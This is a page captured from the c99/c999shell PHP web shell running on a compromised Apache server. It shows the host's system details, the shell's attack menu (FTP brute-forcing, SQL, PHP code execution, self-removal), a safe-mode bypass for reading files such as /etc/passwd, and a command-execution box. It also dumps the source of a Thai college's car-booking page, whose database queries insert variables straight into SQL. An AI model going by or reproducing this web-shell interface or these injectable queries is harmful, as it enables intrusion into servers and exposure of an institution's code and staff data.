!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Car_depart/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailCalendarCar.php (22.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
        require_once( 
"../calendar/check.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "formcaroffice";
        
$myTable3 "province";
        
$myTable4 "training_tb";
        
        
                
        
/**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE   '$now_stamp'     BETWEEN  Date_start  and  Date_finish ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
$query " SELECT *  FROM  $myTable1   WHERE  Teacher_code='$rs1[Teacher_code]' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
//$Teacher_code = $rss['Teacher_code'];
        /**  Table  -->  techplan_method_tb  */
          
$query2 " SELECT *  FROM $myTable3   WHERE   ProvinceId='$rs1[ProvinceId]'     ";
          
$result2 $dbObj->execQuery($query2);
           
$rs2 $dbObj->fetchArray($result2);
        
        
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - แก้ไขข้อมูลแผนการสอน</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="724" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
  
    <td width="724" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <?php do {  ?>
      <table width="659" align="center" cellpadding="0" cellspacing="0">
        <tr height="31">
          <td height="31" colspan="6" align="center" class="PATRON11">ใบขออนุมัติใช้รถยนต์ของทางราชการ</td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6">&nbsp;</td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6">เขียนที่ <font size="2" face="Tahoma">
            <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
          </font></td>
          <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span class="style1">วันที่ &nbsp;<font color="#0000FF" size="2" face="Tahoma">
            <input name="Date" type="text" id="Date" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"  value=" <?php 
       $sday 
$rs1[Date];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>" />
          </font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="3" align="left">เรื่อง&nbsp;&nbsp;<font color="#0000FF" size="2" face="Tahoma">
            <input name="Da " type="text" id="Da " style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขอใช้รถยนต์ราชการ" size="20" />
          </font></td>
          <td width="35"></td>
          <td width="251"></td>
          <td width="49"></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
            <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
          </font></td>
          <td></td>
        </tr>
        <tr height="29">
          <td width="111" height="25"></td>
          <td colspan="5" align="left">ข้าพเจ้า<font color="#0000FF" size="2" face="Tahoma">
            <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " />
            </font> ตำแหน่ง..<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<? echo $rss[Gover_pos]?> " />
            </font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">สังกัด..<font size="2" face="Tahoma">
            <?php
                    $Faculty_code 
=  $rss["Faculty_code"];
                    
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rs2 mysql_fetch_array($result1);
                    echo 
"$rs2[Faculty_name] ";
                
?>
            </font>...<font size="2" face="Tahoma">
              <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
            </font>... <span class="style1">สถาบันพระบรมราชชนก</span></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left"><label>ขออนุญาตไปราชการที่<font color="#0000FF" size="2" face="Tahoma">
            <input name="makeWord" type="text" id="makeWord" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="45"  value="<?=$rs1["makeWord"]; ?>"/>
            </font>จังหวัด<font color="#0000FF" size="2" face="Tahoma">
              <input name="ProvinceId" type="text" id="ProvinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"  value=" <?php 
       $query2 
" SELECT *  FROM $myTable3   WHERE   provinceId='$rs1[provinceId]'     ";
                 
$result2 $dbObj->execQuery($query2);
                
$rs2 $dbObj->fetchArray($result2);
                      echo 
$rs2[provinceName];
    
?>" />
            </font></label></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">เพื่อ<font color="#0000FF" size="2" face="Tahoma">
            <input name="MakePer" type="text" id="MakePer" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70" value="<? echo $rs1["Training_name"]; ?>"/>
            </font><font face="Tahoma"><span class="style14">ผู้ร่วมเดินทาง </span></font><font color="#0000FF" size="2" face="Tahoma">
              <input name="Make2" type="text" id="Make2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="1" value="<? echo $rs1["Make"]; ?>" />
            </font><font face="Tahoma"><span class="style14">คน</span></font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">หมายเหตุ<font color="#0000FF" size="2" face="Tahoma">
            <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1["Detail"]; ?>" size="80" />
          </font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">ประเภทในการขอใช้รถยนต์
            <input type="radio" name="Training_type" value="1" <? if ($rs1["Training_type"] == 1) echo "checked"?>  />
            การอบรม
            <input type="radio" name="Training_type" value="2" <? if ($rs1["Training_type"] == 2) echo "checked"?> />
            การศึกษาดูงาน
            <input type="radio" name="Training_type" value="3" <? if ($rs1["Training_type"] == 3) echo "checked"?>  />
            ประชุม
            <input type="radio" name="Training_type" value="4" <? if ($rs1["Training_type"] == 4) echo "checked"?> />
            สัมมนา
            <input type="radio" name="Training_type" value="7" <? if ($rs1["Training_type"] == 7) echo "checked"?>  />
            วิทยากร
            <input type="radio" name="Training_type" value="6" <? if ($rs1["Training_type"] == 6) echo "checked"?> />
            นิเทศงาน</td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">สถานะการเดินทาง
            <input name="object" type="radio" id="object" value="1"  <? if ($rs1["object"] == 1) echo "checked"?>  />
            ค้างคืน
            <input name="object" type="radio" id="object" value="2"   <? if ($rs1["object"] == 2) echo "checked"?> />
            ไปกลับ
            <input name="object" type="radio" id="object" value="3"   <? if ($rs1["object"] == 3) echo "checked"?>  />
            ส่งอย่างเดียว <font color="#0000FF" size="2" face="Tahoma"> <span class="style1">ปีงบประมาณ<span class="style5">*</span></span>
              <input name="Budget_year" type="text" id="Budget_year" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1[Budget_year]; ?>" size="4" maxlength="4" />
            </font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left"><label>
            <input name="PersonIn" type="checkbox" id="PersonIn" value="รับวิทยากร" <?php if($rs1["PersonIn"] == "รับวิทยากร" ) echo 'checked'?> onclick="checkAssign1(this,myForm.PersonIy)" />
            รับวิทยากร ชื่อ <font color="#0000FF" size="2" face="Tahoma">
              <input name="Personly" type="text" id="Personly" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1['Personly'];?>" size="35"   onkeypress="checkNumeric()"   />
            </font></label></td>
          <input name="ProjectId" type="hidden" id="ProjectId" />
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left"><label> <font color="#0000FF" size="2" face="Tahoma"> </font> สถานที่<font color="#0000FF" size="2" face="Tahoma">
            <input name="Place" type="text" id="Place" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1["Place"]; ?>" size="50" />
            </font> โทรศัพท์<font color="#0000FF" size="2" face="Tahoma">
              <input name="TelNo" type="text" id="TelNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10" maxlength="9"  value="<? echo $rs1["TelNo"]; ?>" />
            </font></label></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">ในวันที่<font color="#000000">&nbsp; &nbsp;&nbsp;</font><font color="#0000FF" size="2" face="Tahoma">
            <input name="Date_start" type="text" id="Date_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"  value=" <?php 
       $sday 
$rs1[Date_start];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>" />
            </font><font color="#003366" size="2" face="Tahoma"> &nbsp;&nbsp;&nbsp;</font>ถึงวันที่ <font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;&nbsp;</font><font color="#0000FF" size="2" face="Tahoma">
              <input name="Date_finish" type="text" id="Date_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"  value=" <?php 
       $sday 
$rs1[Date_finish];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>" />
            </font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left"><p>โดย &nbsp;&nbsp;
            <label>
              <input type="radio" name="usecar" value="1"  <? if ($rs1["usecar"] == 1) echo "checked"?>/>
            </label>
            ใช้ พขร &nbsp;&nbsp;&nbsp;&nbsp;
            <label>
              <input type="radio" name="usecar" value="0" <? if ($rs1["usecar"] == 2) echo "checked"?>/>
            </label>
            ไม่ใช พขร &nbsp;  ตั้งแต่เวลา<font color="#0000FF" size="2" face="Tahoma">
              <input name="Time_start" type="text" id="Time_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs1['Time_start'];?>" size="5" maxlength="5"/>
              </font>น.&nbsp; ถึงเวลา <font color="#0000FF" size="2" face="Tahoma">
                <input name="Time_finish" type="text" id="Time_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="5" maxlength="5" value="<?=$rs1['Time_finish'];?>"/>
              </font>น. </p></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">สำหรับผู้จัดรถยนต์ </td>
        </tr>
        <tr height="29">
          <td height="29" colspan="6" align="left">ให้ใช้รถยนต์ <font color="#0000FF" size="2" face="Tahoma">
            <input name="CarmoId" type="text" id="CarmoId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?
                $CarmoId 
$rs1["CarmoId"];
              
$sql "Select * From   automobile_tb   Where CarmoId ='$CarmoId'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Acc_name]&nbsp;ยี่ห้อ&nbsp; $rs2[Kind]&nbsp;ทะเบียน&nbsp;$rs2[CodeNo]";?>" size="50"     />
          </font></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="3">พนักงานขับรถคนที่ 1<font color="#0000FF" size="2" face="Tahoma">
            <input name="name1" type="text" id="name1" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?
                $name1  
$rs1["name1"];
              
$sql "Select * From  personal_tb   Where Teacher_code ='$name1'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[First_name] $rs2[Teacher_name]&nbsp;&nbsp;$rs2[Teacher_lastname]";?>" size="20"     />
          </font></td>
          <td></td>
          <td></td>
          <td></td>
        </tr>
        <tr height="31">
          <td height="31" colspan="3">พนักงานขับรถคนที่ 2 <font color="#0000FF" size="2" face="Tahoma">
            <input name="name2" type="text" id="name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?
                $name2  
$rs1["name2"];
              
$sql "Select * From  personal_tb   Where Teacher_code ='$name2'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[First_name] $rs2[Teacher_name]&nbsp;&nbsp;$rs2[Teacher_lastname]";?>" size="20"     />
          </font></td>
          <td colspan="3" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
            <div align="center"><span class="style1">ขอแสดงความนับถือ</span></div></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="3" align="left">&nbsp;</td>
          <td></td>
          <td></td>
          <td></td>
        </tr>
        <tr height="31">
          <td height="31" align="left">&nbsp;</td>
          <td width="95">&nbsp;</td>
          <td width="170">&nbsp;</td>
          <td>&nbsp;</td>
          <td>(ลงชื่อ)...........................................</td>
          <td></td>
        </tr>
        <tr height="29">
          <td height="29">&nbsp;</td>
          <td>&nbsp;</td>
          <td>&nbsp;</td>
          <td></td>
          <td align="center">(<font color="#003366" size="2" face="Tahoma">..<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font>..)</td>
          <td></td>
        </tr>
        <tr height="31">
          <td height="31">&nbsp;</td>
          <td>&nbsp;</td>
          <td>&nbsp;</td>
          <td colspan="3" align="left"><div align="left" class="style13">ความเห็นหัวหน้าฝ่าย/ภาค</div></td>
        </tr>
        <tr height="29">
          <td height="28" colspan="2"><strong>&nbsp;</strong>จึงเรียนมาเพื่อโปรดอนุมัติ</td>
          <td></td>
          <td colspan="3"><div align="center">.<font color="#0000FF" size="2" face="Tahoma">
            <input name="Info_name" type="text" id="Info_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" />
          </font></div></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="3" align="left"><input name="Status" type="checkbox" id="Status" value="อนุมัติ" <?php if($rs1["Status"] == "อนุมัติ" ) echo 'checked'?> disabled="disabled" />
            อนุมัติ  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
            <input name="Status" type="checkbox" id="Status" value="ไม่อนุมัติ"  <?php if($rs1["Status"] == "ไม่อนุมัติ" ) echo 'checked'?> disabled="disabled" />
            ไม่อนุมัติ</td>
          <td></td>
          <td></td>
          <td></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="3" align="left">ลงชื่อ.........................................ผู้จัดยานพาหนะ&nbsp;</td>
          <td></td>
          <td>..............................................</td>
          <td></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="2" align="left"><div align="center">(.........................................)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div></td>
          <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
          <td colspan="3" align="left">&nbsp; (ลงชื่อ)....<font size="2" face="Tahoma">
            <?php
                    
//$Teacher_code =  $rss["TeacherId"];
                    
$sql "Select * From    personal_tb   Where  Faculty_code ='$Faculty_code'  and   TeacherId='1'  ";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rs2 mysql_fetch_array($result1);
                    echo 
"$rs2[First_name]$rs2[Teacher_name] &nbsp;&nbsp;$rs2[Teacher_lastname]";
                 
?>
            </font>........
            <input name="TeacherId" type="hidden" id="TeacherId" value="<? echo $rs2["Teacher_code"]?>" /></td>
        </tr>
        <tr height="29">
          <td height="29" colspan="3" align="left">ลงชื่อ่........................................หัวหน้ายานพาหนะ&nbsp;</td>
          <td colspan="3" align="left">(ตำแหน่ง).....<font size="2" face="Tahoma"><? echo $rs2[Gover_pos]?></font>..</td>
        </tr>
        <tr height="29">
          <td height="29" colspan="2"><div align="center">(...........................................)</div></td>
          <td></td>
          <td colspan="3" align="left">วันที่.....เดือน...........พ.ศ.....</td>
        </tr>
        <tr height="29">
          <td height="29"></td>
          <td></td>
          <td></td>
          <td></td>
          <td></td>
          <td></td>
        </tr>
        <tr height="31">
          <td height="31"></td>
          <td></td>
          <td></td>
          <td align="left"><div align="center">คำสั่ง</div></td>
          <td></td>
          <td></td>
        </tr>
        <tr height="29">
          <td height="29"></td>
          <td></td>
          <td></td>
          <td align="left"></td>
          <td colspan="2" align="left"><label>
            <input type="checkbox" name="checkbox" value="checkbox" />
          </label>
            อนมัติ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
            <input type="checkbox" name="checkbox2" value="checkbox" />
            ไม่อนุมัติ</td>
        </tr>
        <tr height="29">
          <td height="29"></td>
          <td></td>
          <td></td>
          <td></td>
          <td colspan="2" align="left">&nbsp;</td>
        </tr>
        <tr height="29">
          <td height="29"></td>
          <td></td>
          <td></td>
          <td colspan="3" align="left">&nbsp;(ลงชื่อ).................................&hellip;&hellip;..</td>
        </tr>
        <tr height="29">
          <td height="29"></td>
          <td></td>
          <td></td>
          <td colspan="3" align="left">(ตำแหน่ง)...............................&hellip;.</td>
        </tr>
        <tr height="29">
          <td height="29"></td>
          <td></td>
          <td></td>
          <td colspan="3" align="left">วันที่.....เดือน............พ.ศ.......</td>
        </tr>
        <tr height="31">
          <td height="10" colspan="6" align="center">&nbsp;</td>
        </tr>
        <tr height="31">
          <td height="31" colspan="6" align="center"></td>
          
        </tr>   
      </table><?php  } while  ( $rs1$dbObj->fetchArray($result1) )   ; ?>  
    </fieldset></td>
  </tr>
 
</table>

</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0181 ]--